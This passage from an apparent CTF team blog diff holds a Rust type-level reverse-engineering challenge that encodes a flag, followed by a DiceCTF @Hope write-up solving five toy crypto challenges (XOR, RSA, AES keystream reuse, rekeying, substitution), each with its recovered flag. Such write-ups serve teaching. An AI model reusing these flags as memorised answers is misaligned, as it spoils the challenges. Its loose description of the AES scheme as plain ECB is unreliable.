+mkimpl!(Sub<T, K>[T: Sub<K>](S<T>, S<K>) = mkout!(Sub, T, K));
+mktrait!(Neq<O>);
+mkimpl!(Neq<>[](Z, Z) = Z);
+mkimpl!(Neq<T>[](S<T>, Z) = S<Z>);
+mkimpl!(Neq<T>[](Z, S<T>) = S<Z>);
+mkimpl!(Neq<T, K>[T: Neq<K>](S<T>, S<K>) = mkout!(Neq, T, K));
+
+mktype!(Nil);
+mktype!(Cons<H, T>);
+
+macro_rules! mklist {
+ () => { Nil };
+ ($first: ty $(, $rest: ty)*) => {
+ Cons<$first, mklist!($($rest),*)>
+ }
+}
+
+macro_rules! mkcons {
+ ($first: ty) => { $first };
+ ($first: ty $(, $rest: ty)*) => {
+ Cons<$first, mkcons!($($rest),*)>
+ }
+}
+
+mktrait!(Eval);
+
+macro_rules! mkfunc {
+ ($name: ident) => {
+ mktype!($name);
+ mkimpl!(Eval<>[]($name) = $name);
+ }
+}
+
+mkfunc!(AddFunc);
+mkfunc!(MulFunc);
+mkfunc!(SubFunc);
+mkfunc!(ConsFunc);
+mkfunc!(RawList);
+mkfunc!(GetLast);
+mkfunc!(AssertEq);
+mkfunc!(AssertNeq);
+mkfunc!(MapFunc);
+mkfunc!(MkConstraint);
+mkfunc!(MkNConstraint);
+mkfunc!(FirstOf3);
+mkfunc!(RestOf3);
+mkfunc!(ApplyFunc);
+
+mkimpl!(Eval<>[](Z) = Z);
+mkimpl!(Eval<T>[](S<T>) = S<T>);
+mkimpl!(Eval<>[](Cons<RawList, Nil>) = Nil);
+mkimpl!(Eval<H, T>[H: Eval](Cons<RawList, Cons<H, T>>) = Cons<mkout!(Eval, H), T>);
+mkimpl!(
+ Eval<A, B>[A: Eval, B: Eval, mkout!(Eval, A): Sub<mkout!(Eval, B)>](mklist!(SubFunc, A, B)) =
+ mkout!(Sub, mkout!(Eval, A), mkout!(Eval, B))
+);
+mkimpl!(Eval<T>[T: Eval](Cons<GetLast, mklist!(T)>) = mkout!(Eval, T));
+mkimpl!(
+ Eval<T, K, R>[mkcons!(GetLast, K, R): Eval, T: Eval](mkcons!(GetLast, T, K, R)) =
+ mkout!(Eval, mkcons!(GetLast, K, R))
+);
+mkimpl!(Eval<T>[](Cons<AssertEq, mklist!(T)>) = Z);
+mkimpl!(
+ Eval<T, K, R>
+ [T: Eval, K: Eval, mkout!(Eval, T): Sub<mkout!(Eval, K)>, mkout!(Eval, K): Sub<mkout!(Eval, T)>, mkcons!(AssertEq, K, R): Eval]
+ (mkcons!(AssertEq, T, K, R)) =
+ mkout!(Eval, mkcons!(AssertEq, K, R))
+);
+mkimpl!(
+ Eval<T, K>
+ [T: Eval, K: Eval, mkout!(Eval, T): Neq<mkout!(Eval, K)>, mkout!(Neq, mkout!(Eval, T), mkout!(Eval, K)): Sub<S<Z>>]
+ (Cons<AssertNeq, mklist!(T, K)>) =
+ Z
+);
+mkimpl!(Eval<F>[](mklist!(MapFunc, F)) = Nil);
+mkimpl!(
+ Eval<F, H, T>
+ [mklist!(F, H): Eval, mkcons!(MapFunc, F, T): Eval]
+ (mkcons!(MapFunc, F, H, T)) =
+ Cons<mkout!(Eval, mklist!(F, H)), mkout!(Eval, mkcons!(MapFunc, F, T))>
+);
+mkimpl!(Eval<F, A, B, T>[](mklist!(MkConstraint, mklist!(F, A, B, T))) = mklist!(AssertEq, mklist!(F, A, B), T));
+mkimpl!(Eval<F, A, B, T>[](mklist!(MkNConstraint, mklist!(F, A, B, T))) = mklist!(AssertNeq, mklist!(F, A, B), T));
+mkimpl!(Eval<>[](mklist!(FirstOf3)) = Nil);
+mkimpl!(Eval<A, B, C, T>[Cons<FirstOf3, T>: Eval](mkcons!(FirstOf3, A, B, C, T)) = Cons<A, mkout!(Eval, Cons<FirstOf3, T>)>);
+mkimpl!(Eval<>[](mklist!(RestOf3)) = Nil);
+mkimpl!(Eval<A, B, C, T>[Cons<RestOf3, T>: Eval](mkcons!(RestOf3, A, B, C, T)) = mkcons!(B, C, mkout!(Eval, Cons<RestOf3, T>)));
+mkimpl!(
+ Eval<F, T>[T: Eval, Cons<F, mkout!(Eval, T)>: Eval](mklist!(ApplyFunc, F, T)) =
+ mkout!(Eval, Cons<F, mkout!(Eval, T)>)
+);
+mkimpl!(Eval<T>[T: Eval](mklist!(ConsFunc, T)) = mkout!(Eval, T));
+mkimpl!(Eval<H, T>[Cons<ConsFunc, T>: Eval](mkcons!(ConsFunc, H, T)) = Cons<H, mkout!(Eval, Cons<ConsFunc, T>)>);
+
+macro_rules! mkfold {
+ ($fc: ident, $f: ident, $empty: ty, [$t: ident] $one: ty) => {
+ mkimpl!(Eval<>[](mklist!($fc)) = $empty);
+ mkimpl!(Eval<$t>[$t: Eval](mklist!($fc, $t)) = $one);
+ mkimpl!(
+ Eval<H1, H2, T>
+ [H2: Eval, H1: $f<mkout!(Eval, H2)>, mkcons!($fc, mkout!($f, H1, mkout!(Eval, H2)), T): Eval]
+ (Cons<$fc, Cons<H1, Cons<H2, T>>>)
+ = mkout!(Eval, mkcons!($fc, mkout!($f, H1, mkout!(Eval, H2)), T))
+ );
+ }
+}
+
+mkfold!(AddFunc, Add, Z, [T] T);
+mkfold!(MulFunc, Mul, S<Z>, [T] T);
+
+type Ten = S<S<S<S<S<S<S<S<S<S<Z>>>>>>>>>>;
+type Hundred = mkout!(Mul, Ten, Ten);
+
+trait AsChar { const CHAR: char; }
+type Char_ = Z;
+impl AsChar for Char_ { const CHAR: char = '_'; }
+type Char0 = S<Z>;
+impl AsChar for Char0 { const CHAR: char = '0'; }
+type Char1 = S<S<Z>>;
+impl AsChar for Char1 { const CHAR: char = '1'; }
+type Char2 = S<S<S<Z>>>;
+impl AsChar for Char2 { const CHAR: char = '2'; }
+type Char3 = S<S<S<S<Z>>>>;
+impl AsChar for Char3 { const CHAR: char = '3'; }
+type Char4 = S<S<S<S<S<Z>>>>>;
+impl AsChar for Char4 { const CHAR: char = '4'; }
+type Char5 = S<S<S<S<S<S<Z>>>>>>;
+impl AsChar for Char5 { const CHAR: char = '5'; }
+type Char6 = S<S<S<S<S<S<S<Z>>>>>>>;
+impl AsChar for Char6 { const CHAR: char = '6'; }
+type Char7 = S<S<S<S<S<S<S<S<Z>>>>>>>>;
+impl AsChar for Char7 { const CHAR: char = '7'; }
+type Char8 = S<S<S<S<S<S<S<S<S<Z>>>>>>>>>;
+impl AsChar for Char8 { const CHAR: char = '8'; }
+type Char9 = mkout!(Add, mkout!(Mul, Ten, S<Z>), Z);
+impl AsChar for Char9 { const CHAR: char = '9'; }
+type CharA = mkout!(Add, mkout!(Mul, Ten, S<Z>), S<Z>);
+impl AsChar for CharA { const CHAR: char = 'a'; }
+type CharB = mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<Z>>);
+impl AsChar for CharB { const CHAR: char = 'b'; }
+type CharC = mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<Z>>>);
+impl AsChar for CharC { const CHAR: char = 'c'; }
+type CharD = mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<Z>>>>);
+impl AsChar for CharD { const CHAR: char = 'd'; }
+type CharE = mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<S<Z>>>>>);
+impl AsChar for CharE { const CHAR: char = 'e'; }
+type CharF = mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<S<S<Z>>>>>>);
+impl AsChar for CharF { const CHAR: char = 'f'; }
+type CharG = mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<S<S<S<Z>>>>>>>);
+impl AsChar for CharG { const CHAR: char = 'g'; }
+type CharH = mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<S<S<S<S<Z>>>>>>>>);
+impl AsChar for CharH { const CHAR: char = 'h'; }
+type CharI = mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<S<S<S<S<S<Z>>>>>>>>>);
+impl AsChar for CharI { const CHAR: char = 'i'; }
+type CharJ = mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), Z);
+impl AsChar for CharJ { const CHAR: char = 'j'; }
+type CharK = mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<Z>);
+impl AsChar for CharK { const CHAR: char = 'k'; }
+type CharL = mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<Z>>);
+impl AsChar for CharL { const CHAR: char = 'l'; }
+type CharM = mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<Z>>>);
+impl AsChar for CharM { const CHAR: char = 'm'; }
+type CharN = mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<Z>>>>);
+impl AsChar for CharN { const CHAR: char = 'n'; }
+type CharO = mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<Z>>>>>);
+impl AsChar for CharO { const CHAR: char = 'o'; }
+type CharP = mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<S<Z>>>>>>);
+impl AsChar for CharP { const CHAR: char = 'p'; }
+type CharQ = mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<S<S<Z>>>>>>>);
+impl AsChar for CharQ { const CHAR: char = 'q'; }
+type CharR = mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<S<S<S<Z>>>>>>>>);
+impl AsChar for CharR { const CHAR: char = 'r'; }
+type CharS = mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<S<S<S<S<Z>>>>>>>>>);
+impl AsChar for CharS { const CHAR: char = 's'; }
+type CharT = mkout!(Add, mkout!(Mul, Ten, S<S<S<Z>>>), Z);
+impl AsChar for CharT { const CHAR: char = 't'; }
+type CharU = mkout!(Add, mkout!(Mul, Ten, S<S<S<Z>>>), S<Z>);
+impl AsChar for CharU { const CHAR: char = 'u'; }
+type CharV = mkout!(Add, mkout!(Mul, Ten, S<S<S<Z>>>), S<S<Z>>);
+impl AsChar for CharV { const CHAR: char = 'v'; }
+type CharW = mkout!(Add, mkout!(Mul, Ten, S<S<S<Z>>>), S<S<S<Z>>>);
+impl AsChar for CharW { const CHAR: char = 'w'; }
+type CharX = mkout!(Add, mkout!(Mul, Ten, S<S<S<Z>>>), S<S<S<S<Z>>>>);
+impl AsChar for CharX { const CHAR: char = 'x'; }
+type CharY = mkout!(Add, mkout!(Mul, Ten, S<S<S<Z>>>), S<S<S<S<S<Z>>>>>);
+impl AsChar for CharY { const CHAR: char = 'y'; }
+type CharZ = mkout!(Add, mkout!(Mul, Ten, S<S<S<Z>>>), S<S<S<S<S<S<Z>>>>>>);
+impl AsChar for CharZ { const CHAR: char = 'z'; }
+type Flag0 = CharL;
+type Flag1 = Char1;
+type Flag2 = CharS;
+type Flag3 = CharP;
+type Flag4 = Char_;
+type Flag5 = CharI;
+type Flag6 = CharN;
+type Flag7 = CharS;
+type Flag8 = CharI;
+type Flag9 = CharD;
+type Flag10 = Char3;
+type Flag11 = Char_;
+type Flag12 = CharR;
+type Flag13 = CharU;
+type Flag14 = CharS;
+type Flag15 = Char7;
+type Flag16 = Char_;
+type Flag17 = Char9;
+type Flag18 = CharA;
+type Flag19 = CharF;
+type Flag20 = CharH;
+type Flag21 = Char1;
+type Flag22 = CharN;
+type Flag23 = Char2;
+type Flag24 = Char3;
+type Constraints = mklist!(mklist!(AddFunc, Flag11, Flag13, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<S<S<S<Z>>>>>>>>)), mklist!(MulFunc, Flag1, Flag9, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<S<S<S<Z>>>>>>>>)), mklist!(SubFunc, Flag20, Flag4, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<S<S<S<S<Z>>>>>>>>)), mklist!(SubFunc, Flag0, Flag5, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<Z>>>)), mklist!(SubFunc, Flag3, Flag16, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<S<Z>>>>>>)), mklist!(SubFunc, Flag12, Flag11, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<S<S<S<Z>>>>>>>>)), mklist!(SubFunc, Flag18, Flag17, Z), mklist!(MulFunc, Flag20, Flag11, Z), mklist!(SubFunc, Flag5, Flag9, S<S<S<S<S<Z>>>>>), mklist!(MulFunc, Flag2, Flag4, S<S<S<S<S<Z>>>>>), mklist!(SubFunc, Flag0, Flag15, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<Z>>>>)), mklist!(SubFunc, Flag8, Flag24, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<S<Z>>>>>)), mklist!(AddFunc, Flag11, Flag7, mkout!(Add, mkout!(Mul, Ten, S<S<S<Z>>>), S<S<S<Z>>>)), mklist!(SubFunc, Flag14, Flag21, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<S<S<Z>>>>>>>)), mklist!(MulFunc, Flag4, Flag16, Z), mklist!(MulFunc, Flag21, Flag3, mkout!(Add, mkout!(Mul, Ten, S<S<S<S<Z>>>>), S<S<S<S<S<S<S<S<S<Z>>>>>>>>>)), mklist!(AddFunc, Flag24, Flag16, S<S<S<S<Z>>>>), mklist!(SubFunc, Flag3, Flag0, S<S<S<S<Z>>>>), mklist!(AddFunc, Flag11, Flag10, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<Z>>>)), mklist!(SubFunc, Flag7, Flag15, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<Z>)), mklist!(AddFunc, Flag18, Flag5, mkout!(Add, mkout!(Mul, Ten, S<S<S<Z>>>), Z)), mklist!(MulFunc, Flag18, Flag11, S<S<S<S<S<Z>>>>>), mklist!(SubFunc, Flag7, Flag21, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<S<S<Z>>>>>>>)), mklist!(MulFunc, Flag13, Flag18, mkout!(Add, mkout!(Mul, Hundred, S<S<S<Z>>>), mkout!(Add, mkout!(Mul, Ten, S<S<S<S<Z>>>>), S<Z>))), mklist!(SubFunc, Flag20, Flag15, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<Z>>>)), mklist!(SubFunc, Flag19, Flag23, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<Z>>>)), mklist!(AddFunc, Flag14, Flag20, mkout!(Add, mkout!(Mul, Ten, S<S<S<S<Z>>>>), S<S<S<S<S<S<S<Z>>>>>>>)), mklist!(MulFunc, Flag21, Flag4, mkout!(Add, mkout!(Mul, Ten, S<Z>), Z)), mklist!(AddFunc, Flag10, Flag2, mkout!(Add, mkout!(Mul, Ten, S<S<S<Z>>>), S<S<S<Z>>>)), mklist!(SubFunc, Flag20, Flag10, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<Z>>>>)), mklist!(MulFunc, Flag17, Flag0, mkout!(Add, mkout!(Mul, Hundred, S<S<Z>>), mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<S<S<S<S<S<Z>>>>>>>>>))), mklist!(SubFunc, Flag22, Flag23, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<Z>)), mklist!(MulFunc, Flag15, Flag18, mkout!(Add, mkout!(Mul, Ten, S<S<S<S<S<S<S<S<Z>>>>>>>>), S<S<S<S<S<S<S<S<Z>>>>>>>>)), mklist!(AddFunc, Flag12, Flag6, mkout!(Add, mkout!(Mul, Ten, S<S<S<S<Z>>>>), S<S<S<S<S<S<Z>>>>>>)), mklist!(MulFunc, Flag22, Flag24, mkout!(Add, mkout!(Mul, Ten, S<S<S<S<S<S<S<S<S<Z>>>>>>>>>), S<S<S<S<S<S<Z>>>>>>)), mklist!(MulFunc, Flag0, Flag23, mkout!(Add, mkout!(Mul, Ten, S<S<S<S<S<S<Z>>>>>>), S<S<S<S<S<S<Z>>>>>>)), mklist!(MulFunc, Flag0, Flag5, mkout!(Add, mkout!(Mul, Hundred, S<S<S<S<Z>>>>), S<S<S<S<S<S<S<S<Z>>>>>>>>)), mklist!(SubFunc, Flag8, Flag11, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<S<S<S<S<S<Z>>>>>>>>>)), mklist!(AddFunc, Flag19, Flag13, mkout!(Add, mkout!(Mul, Ten, S<S<S<S<Z>>>>), S<S<S<S<S<S<S<Z>>>>>>>)), mklist!(SubFunc, Flag7, Flag12, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<Z>)), mklist!(MulFunc, Flag17, Flag22, mkout!(Add, mkout!(Mul, Hundred, S<S<Z>>), mkout!(Add, mkout!(Mul, Ten, S<S<S<S<Z>>>>), Z))), mklist!(AddFunc, Flag16, Flag14, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<S<S<S<S<Z>>>>>>>>>)), mklist!(AddFunc, Flag24, Flag18, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<Z>>>>)), mklist!(SubFunc, Flag19, Flag4, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<S<S<Z>>>>>>)), mklist!(AddFunc, Flag24, Flag3, mkout!(Add, mkout!(Mul, Ten, S<S<S<Z>>>), Z)), mklist!(SubFunc, Flag0, Flag16, mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<Z>>)), mklist!(MulFunc, Flag10, Flag5, mkout!(Add, mkout!(Mul, Ten, S<S<S<S<S<S<S<Z>>>>>>>), S<S<S<S<S<S<Z>>>>>>)), mklist!(SubFunc, Flag20, Flag19, S<S<Z>>), mklist!(MulFunc, Flag12, Flag16, S<S<S<S<S<Z>>>>>), mklist!(MulFunc, Flag24, Flag12, mkout!(Add, mkout!(Mul, Hundred, S<Z>), mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<Z>>))), mklist!(SubFunc, Flag24, Flag16, S<S<S<S<Z>>>>), mklist!(AddFunc, Flag12, Flag15, mkout!(Add, mkout!(Mul, Ten, S<S<S<S<Z>>>>), S<S<S<S<S<Z>>>>>)), mklist!(AddFunc, Flag1, Flag20, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), Z)), mklist!(MulFunc, Flag1, Flag17, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), Z)), mklist!(AddFunc, Flag5, Flag11, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<S<Z>>>>>>)), mklist!(SubFunc, Flag5, Flag18, S<S<S<S<S<S<S<S<Z>>>>>>>>), mklist!(AddFunc, Flag16, Flag22, mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<Z>>>>)), mklist!(MulFunc, Flag14, Flag3, mkout!(Add, mkout!(Mul, Hundred, S<S<S<S<S<S<S<Z>>>>>>>), mkout!(Add, mkout!(Mul, Ten, S<S<S<S<Z>>>>), S<S<S<S<S<S<S<Z>>>>>>>))), mklist!(MulFunc, Flag6, Flag21, mkout!(Add, mkout!(Mul, Ten, S<S<S<S<Z>>>>), S<S<S<S<S<S<S<S<Z>>>>>>>>)), mklist!(AddFunc, Flag6, Flag22, mkout!(Add, mkout!(Mul, Ten, S<S<S<S<Z>>>>), S<S<S<S<S<S<S<S<Z>>>>>>>>)));
+fn print_flag() { println!("dice{{{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}}}", Flag0::CHAR, Flag1::CHAR, Flag2::CHAR, Flag3::CHAR, Flag4::CHAR, Flag5::CHAR, Flag6::CHAR, Flag7::CHAR, Flag8::CHAR, Flag9::CHAR, Flag10::CHAR, Flag11::CHAR, Flag12::CHAR, Flag13::CHAR, Flag14::CHAR, Flag15::CHAR, Flag16::CHAR, Flag17::CHAR, Flag18::CHAR, Flag19::CHAR, Flag20::CHAR, Flag21::CHAR, Flag22::CHAR, Flag23::CHAR, Flag24::CHAR); }
+
+type NConstraints = mklist!(ApplyFunc, MapFunc, mklist!(ConsFunc, MkNConstraint, mkcons!(FirstOf3, Constraints)));
+type EConstraints = mklist!(ApplyFunc, MapFunc, mklist!(ConsFunc, MkConstraint, mkcons!(RestOf3, Constraints)));
+type Program = mklist!(GetLast, mklist!(ApplyFunc, GetLast, NConstraints), mklist!(ApplyFunc, GetLast, EConstraints));
+type Fin = mkout!(Eval, Program);
+
+fn main() {
+ print_flag();
+ let _: Fin = panic!();
+}
+
+It essentially creates a lisp-like language, and a list of 60 constraints. The constraints are of the form (flag[i] op flag[j]) cmp x
, where op
is addition, subtraction, or multiplication, and cmp
is either equality or inequality. Every 3rd constraint is inequality and the rest are equality.
DiceCTF @Hope is a nice competition, I worked with Frankss and Monad to solve the challenges. Our final rank is #21.
+Categories | +Solved | +Writeup | +
---|---|---|
crypto | +6/8 | +jump | +
misc | +5/8 | +TBA | +
pwn | +3/5 | +TBA | +
rev | +5/11 | +TBA | +
web | +7/10 | +TBA | +
++The unbreakable One Byte Pad
+by BrownieInMotion
+
The given python script uses One Time Pad to encrypt the message. However, the perfectly security of the OTP only happens when the length of the key is as the same as the plaintext.
+import random
+
+with open('flag.txt', 'rb') as f:
+ plaintext = f.read()
+
+key = random.randrange(256)
+ciphertext = [key ^ byte for byte in plaintext]
+
+with open('output.txt', 'w') as f:
+ f.write(bytes(ciphertext).hex())
+
+In this scenario, using only one byte key can be decrypted with brute force in possibility polynomial time (PPT). I used Cyberchef for xor brute force.
+ +The correct key is 0xd2.
+++PEM stands for Prime Encryption Method, I think.
+by ireland
+
The given python code accidently output the private key instead of the public key. We can use PKCS1_OAEP decrypt by loading the given private key.
+from Crypto.PublicKey import RSA
+from Crypto.Cipher import PKCS1_OAEP
+
+with open('flag.txt','rb') as f:
+ flag = f.read()
+
+key = RSA.generate(2048)
+cipher_rsa = PKCS1_OAEP.new(key)
+enc = cipher_rsa.encrypt(flag)
+
+with open('privatekey.pem','wb') as f:
+ f.write(key.export_key('PEM'))
+
+with open("encrypted.bin", "wb") as f:
+ f.write(enc)
+
+The payload as follow:
+>>> from Crypto.Cipher import PKCS1_OAEP
+>>> from Crypto.PublicKey import RSA
+>>> ciphertext = open('encrypted.bin', 'rb').read()
+>>> key = RSA.importKey(open('privatekey.pem').read())
+>>> cipher = PKCS1_OAEP.new(key)
+>>> print(cipher.decrypt(ciphertext))
+b'hope{crypto_more_like_rtfm_f280d8e}'
+
+++if keys make stuff secure then why don't we use them more
+nc mc.ax 31968
+by kfb
+
The given python code reads the flag file, and encrypted it with AES ECB mode with a key length of 16 bytes.
+#!/usr/local/bin/python -u
+
+from Crypto.Cipher import AES
+from Crypto.Random import get_random_bytes
+from Crypto.Util.Padding import pad
+from Crypto.Util.strxor import strxor
+from more_itertools import ichunked
+
+BLOCK = AES.block_size
+FLAG = open('flag.txt', 'rb').read().strip()
+
+def encrypt_block(k, pt):
+ cipher = AES.new(k, AES.MODE_ECB)
+ return cipher.encrypt(pt)
+
+def encrypt(k, pt):
+ assert len(k) == BLOCK
+ pt = pad(pt, BLOCK)
+ ct = b''
+ for bk in ichunked(pt, BLOCK):
+ ct += strxor(encrypt_block(k, k), bytes(bk))
+ return ct
+
+def main():
+ k = get_random_bytes(BLOCK)
+ enc = encrypt(k, FLAG)
+ print(f'> {enc.hex()}')
+
+ pt = bytes.fromhex(input('< '))[:BLOCK]
+ enc = encrypt(k, pt)
+ print(f'> {enc.hex()}')
+
+if __name__ == '__main__':
+ main()
+
+The same key is then used to encrypt a user given hex message, the maximum length of this message is 32 bytes.
+The solution is simple: gives an all 0s message, the encrypted ciphertext is as the same as the key, as the ECB mode simply xor the key and the message blocks. Here's an external link for ECB mode: Wikipedia ECB Mode.
+For example, the server gives me ciphertext cb98a2eab4b86597f93a1e046bfd88e2d083bbeca48c779af93a021e78f7b3d5c6a8b9e1a0a470aac47a455e26f58e8ac6cfeabcaab736c1db4e71
+6c1996ebba
. I divided them into 4 blocks, 16 bytes (32 hex characters) per block:
cb98a2eab4b86597f93a1e046bfd88e2
+d083bbeca48c779af93a021e78f7b3d5
+c6a8b9e1a0a470aac47a455e26f58e8a
+c6cfeabcaab736c1db4e716c1996ebba
+
+Then padding 0s into server, the response (key) is a3f7d28fcfd303f5a649766b1e91ecbdb3e7c29fdfc313e5b659667b0e81fcad
. Use this key for each block, find the flag:
hope{kfb_should_
+stick_to_stuff_h
+e_knows_b3358db7
+e883ed54}.......
+
+++I've told my minions to brew up a new type of block cipher! (written in python 2.7)
+by greenbeans
+
The given python code seems to be secure. It generates random key, and encrypt the message with 8 byte block.
+The first problem is the rekey
function. If you test this function, you would find out that the key doesn't change after the rekey
. The string in python is passed to the function with only value instead of address, change the value in rekey
for key
doesn't affect the caller's key
.
from os import urandom
+
+def encipher(a,b):
+ c = ''
+ for i, j in zip(a,b):
+ c+=chr(ord(i)^ord(j))
+ return c
+
+def rekey(key):
+ k = ""
+ for i,c in enumerate(key):
+ if i == len(key)-1:
+ k += c
+ k += chr(ord(c)^ord(key[0]))
+ else:
+ k += c
+ k += chr(ord(c)^ord(key[i+1]))
+ key = k
+
+def main():
+ key = urandom(8)
+
+ with open('flag.txt') as f:
+ plaintext = f.read()
+
+ i = 0
+ ct = ''
+ while i < len(plaintext):
+ ct += encipher(plaintext[i:i+len(key)],key)
+ i += len(key)
+ rekey(key)
+ f2 = open('output.txt', 'w')
+ f2.write(ct)
+ f2.close()
+
+main()
+
+The second problem is the prefix of the plaintext, we already known, is the hope{'
. Using this plaintext, we can find out the first 5 bytes of the key is 88 15 03 8d 50
.
Another knowledge we have is the characters in the plaintext should be all printable characters. Thus, we brute force the every 6th/7th/8th byte in blocks. The only valid case is that the xor result gives only printable characters.
+Only the 5th byte has multiple possible key values. But with some practice, we can find the last 3 bytes of the key are 6e c1 61
.
The final flag is: hope{maybe_1_sh0ulD_h4v3_h1R3d_4_5p3c1471st_5tgkjs3bgRh}
.
++Oh no, my light reading got all mixed up!
+by BrownieInMotion
+
Cipher python code is very simple, only shuffles all the characters in the plaintext.
+import random
+
+with open('text.txt') as f:
+ plaintext = f.read()
+
+with open('flag.txt') as f:
+ plaintext += '\n' + f.read()
+
+characters = set(plaintext) - {'\n'}
+
+shuffled = list(characters)
+random.shuffle(shuffled)
+
+replacement = dict(zip(characters, shuffled))
+
+ciphertext = ''.join(replacement.get(c, c) for c in plaintext)
+
+with open('output.txt', 'w') as f:
+ f.write(ciphertext)
+
+Notice that blanks are shuffled as well. Luckily, the new liners are stayed the same. We can have the following ciphertext:
+oiqsygh"dg"g}y__"Mygkwg_ySdB
+bxgh"Vyg"g}y__"Mygkwg_ySdbrg_hyg"SSwlSsydgwVy.gkhygfljiqsgsh"SSyi_BgnVyrg hwg"i "t_gf"qdgy,sy__qVyg"kkySkqwSgkwgyVy.tkhqSMgoiqsyg_"qdrgkhwlMhkgkh"kgkhq_g_wlSdydgqSky.y_kqSMrg"Sdg.y_wiVydgkwg.y"dgkhyg}y__"MyB
+bxg_h"iig_ySdgqkgkwgawjgqSgkhyg}w_kgswSVwilkydg "tgfw__qjiyrbgy,fwlSdydgoiqsygcl.khy.rgbl_qSMg"g}q,kl.ygwcgf.qV"kyg"Sdgfljiqsgsh"SSyi_g"_g yiig"_gEytgqScw.}"kqwSg_ySkgjtgk.l_kydgswl.qy.b
+nVygcwlSdgkhq_gk"iEgwcgy,syfkqwS"igsw}fiqs"kqwSgy,k.y}yitgqSk.qMlqSMBgvy"S hqiyrgawjgMwkghq}_yicg"g_"Sd qshB
+bxkg_h"iigjyg"My_gtykgjycw.ygoiqsyg_ySd_g}yghy.g}y__"Myrgcw.g_hyg}l_kgySswdygqkgqSgkhyg}w_kgswSVwilkydg "tgfw__qjiyBgxSg"ddqkqwSrgqkgq_giq"jiygkwgjygdliigkwg.y"dgyVySgwSsygdysqfhy.ydbgkhwlMhkgawjBgbmyswSditrgdysqfhy.qSMgqkgq_gMwqSMgkwgjyg"ghy"d"shyBbg{hy.ycw.ygawjg}"dyghq}_yicg"gslfgwcgky"gkwgMwg qkhghq_g_"Sd qshB
+
+Oq"g"gsw}fiy,g_y.qy_gwcgdq_Mlq_y_g"Sdgkhygl_ygwcgsiyVy.gkyshSwiwMtgkwg_"}fiygqScw.}"kqwSgc.w}g"iiyMyditg_ysl.ygsh"SSyi_rgnVyg.yswVy.ydg"gc."skqwSgwcgkhyg}y__"Myg"SdgwcgkhygEytBgatg"ffitqSMg"iigwcghy.gswS_qdy."jiygqSkyiiqMySsyg"Sdg"ghqdywl_gel"Skqktgwcgsw}flk"kqwS"igfw y.rg_hyg "_g"jiygkwg.yswVy.gkhygfi"qSky,krg.yswdyg"g}y__"Myg"Sdgf"__gqkgwSgkwgawjg"_gqcgSwkhqSMgh"dgh"ffySydBgpSitgkhySgdqdg_hyg"skl"iitg.y"dgkhygfi"qSky,kB
+
+hwfyASwkTkhyTM.y"ky_kT_ qkshy.wwTqjf_S,tjEyS"i,}cSdIccd_u
+
+Using brute force is unacceptable. However, we can take it a bite from the new liners. We can have the first guess:
+.
(dots).With this assumption, we can quickly jump to the second:
+
(blank).Then, starts from the blanks, we have another assumption:
+,
(commas).Now, we guess the last line should be flag. We can guess:
+_
(underlines), {}
(open and close braces).Now, we already have enough information to run a A*-like search in substitution cipher. We can decrypt most of the characters in an ignored-case search. The only problem is some special characters:
+"
(quotations): should be presents in the beginning of a word or after/before a punctuation. Otherwise, in the end of a line.Alice, Bob, Eve
: special names in the cryptography, should be useful for alphabet character replacements.Uppercase alphabets
: only shows a few times, shouldn't be a problem.OK, now we have mostly ciphertext decrypted. However, the flag is not correct. What's the key point? The problem is the special character only presents once in the flag, this is the last cipher replacement. Find the last and the only reflection we haven't used: I -> j
.
Finally, we find the plaintext:
+Alice had a message to send.
